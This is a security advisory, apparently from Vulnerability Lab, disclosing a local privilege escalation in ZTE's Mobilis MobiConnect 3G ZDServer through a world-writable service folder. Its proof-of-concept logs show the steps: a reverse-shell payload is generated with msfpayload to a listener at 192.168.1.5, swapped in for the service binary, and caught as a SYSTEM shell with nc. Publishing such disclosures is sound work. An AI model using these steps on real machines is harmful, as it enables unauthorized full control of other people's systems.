Mobilis MobiConnect 3G ZDServer 1.0.1.2 Privilege Escalation

2014-12-2000:00:00
Hadji Samir
packetstormsecurity.com
JSON
`Document Title:  
===============  
Mobilis MobiConnect 3G ZDServer v1.0.1.2 - Privilege Escalation Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1385  
  
  
Release Date:  
=============  
2014-12-19  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1385  
  
  
Common Vulnerability Scoring System:  
====================================  
6.4  
  
  
Product & Service Introduction:  
===============================  
http://www.3G.dz  
http://wwwen.zte.com.cn/en  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered a local privilege escalation vulnerability in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2014-12-19: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
ZTE Corporation  
Product: Mobilis 3g MobiConnect 3G++ ZDServer - Software 1.0.1.2  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A local privilege escalation vulnerability has been discovered in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software.  
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes.  
  
The vulnerability could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.   
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications   
where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges   
of the application.   
  
The security risk of the privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Exploitation of   
the vulnerability requires a local privileged systen user account without user for interaction. Successful exploitation of the privilege escalation web   
vulnerability results in software- or system compromise.  
  
  
Proof of Concept (PoC):  
=======================  
The local vulnerability can be exploited by local attackers with restricted system privileges and without user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
  
--- PoC Session Logs ---  
C:\Users\s-dz>sc qc ZDServ  
[SC] QueryServiceConfig réussite(s)  
  
SERVICE_NAME: ZDServ  
TYPE : 110 WIN32_OWN_PROCESS (interactive)  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : ZDServ  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
C:\Users\s-dz\Desktop>net users s-dz  
Nom d'utilisateur s-dz  
Nom complet s-dz  
Commentaire  
Commentaires utilisateur  
Code du pays 000 (Valeur par défaut du système)  
Compte : actif Oui  
Le compte expire Jamais  
  
Mot de passe : dernier changmt. 18/12/2014 00:58:48  
Le mot de passe expire Jamais  
Le mot de passe modifiable 18/12/2014 00:58:48  
Mot de passe exigé Oui  
L'utilisateur peut changer de mot de passe Oui  
  
Stations autorisées Tout  
Script d'ouverture de session  
Profil d'utilisateur  
Répertoire de base  
Dernier accès 17/12/2014 22:54:46  
  
Heures d'accès autorisé Tout  
  
Appartient aux groupes locaux *Utilisateurs  
Appartient aux groupes globaux *None  
La commande s'est terminée correctement.  
  
  
C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\ProgramData\ZDSupport\ZDServ\"  
C:\ProgramData\ZDSupport\ZDServ  
Medium Mandatory Level (Default) [No-Write-Up]  
RW Tout le monde  
FILE_ALL_ACCESS  
RW AUTORITE NT\SystÞme  
FILE_ALL_ACCESS  
RW BUILTIN\Administrateurs  
FILE_ALL_ACCESS  
RW BUILTIN\Utilisateurs  
FILE_ADD_FILE  
FILE_ADD_SUBDIRECTORY  
FILE_LIST_DIRECTORY  
FILE_READ_ATTRIBUTES  
FILE_READ_EA  
FILE_TRAVERSE  
FILE_WRITE_ATTRIBUTES  
FILE_WRITE_EA  
SYNCHRONIZE  
READ_CONTROL  
  
  
C:\Users\s-dz\Desktop>cacls "C:\ProgramData\ZDSupport\ZDServ\"  
C:\ProgramData\ZDSupport\ZDServ Tout le monde:F  
Tout le monde:(OI)(CI)(IO)F  
AUTORITE NT\Système:(OI)(CI)(ID)F  
BUILTIN\Administrateurs:(OI)(CI)(ID)F  
CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F  
BUILTIN\Utilisateurs:(OI)(CI)(ID)R  
BUILTIN\Utilisateurs:(CI)(ID)(accès spécial :)  
FILE_WRITE_DATA  
FILE_APPEND_DATA  
FILE_WRITE_EA  
FILE_WRITE_ATTRIBUTES  
  
  
############## PROOF ######################  
C:\Users\s-dz\Desktop>net user s-dz  
Nom d'utilisateur s-dz  
Nom complet s-dz  
Commentaire  
Commentaires utilisateur  
Code du pays 000 (Valeur par défaut du système)  
Compte : actif Oui  
Le compte expire Jamais  
  
Mot de passe : dernier changmt. 18/12/2014 01:12:55  
Le mot de passe expire Jamais  
Le mot de passe modifiable 18/12/2014 01:12:55  
Mot de passe exigé Oui  
L'utilisateur peut changer de mot de passe Oui  
  
Stations autorisées Tout  
Script d'ouverture de session  
Profil d'utilisateur  
Répertoire de base  
Dernier accès 18/12/2014 03:16:07  
  
Heures d'accès autorisé Tout  
  
Appartient aux groupes locaux *Utilisateurs  
Appartient aux groupes globaux *None  
La commande s'est terminée correctement.  
  
Before we go over to action we need to check the status of the ZDserv service. In this case we can see  
it is set to "AUTO_START" so it will launch  
  
C:\Windows\system32>sc qc ZDserv  
[SC] QueryServiceConfig réussite(s)  
  
SERVICE_NAME: ZDserv  
TYPE : 110 WIN32_OWN_PROCESS (interactive)  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : ZDServ  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
  
  
root@samir:~# msfpayload windows/shell_reverse_tcp lhost='192.168.1.5' lport='4433' X > C:\Users\s-dz\Desktop\evil-ZDserv.exe  
  
  
  
C:\Users\s-dz\Desktop>copy evil-ZDserv.exe C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe  
Remplacer C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe (Oui/Non/Tous) : o  
1 fichier(s) copié(s).  
  
and later we will open cmd with administrator   
  
C:\Windows\system32>sc start zdserv  
###################################################################  
C:\Users\s-dz\Desktop>nc.exe -lvp 4433   
listening on [any] 4433 ...   
connect to [192.168.1.5] from s-dz [192.168.1.5] 4638   
Microsoft Windows [version 6.1.7600]  
Copyright (c) 2009 Microsoft Corporation. Tous droits réservés.  
  
C:\Windows\system32>whoami  
whoami  
autorite nt\système  
  
C:\Windows\system32>  
  
  
Security Risk:  
==============  
The security risk of the local privilege escalation vulnerability in the software is estimated as high. (CVSS 6.4)  
  
  
Credits & Authors:  
==================  
Hadji Samir [email protected]  
  
  
Disclaimer & Information:  
=========================  
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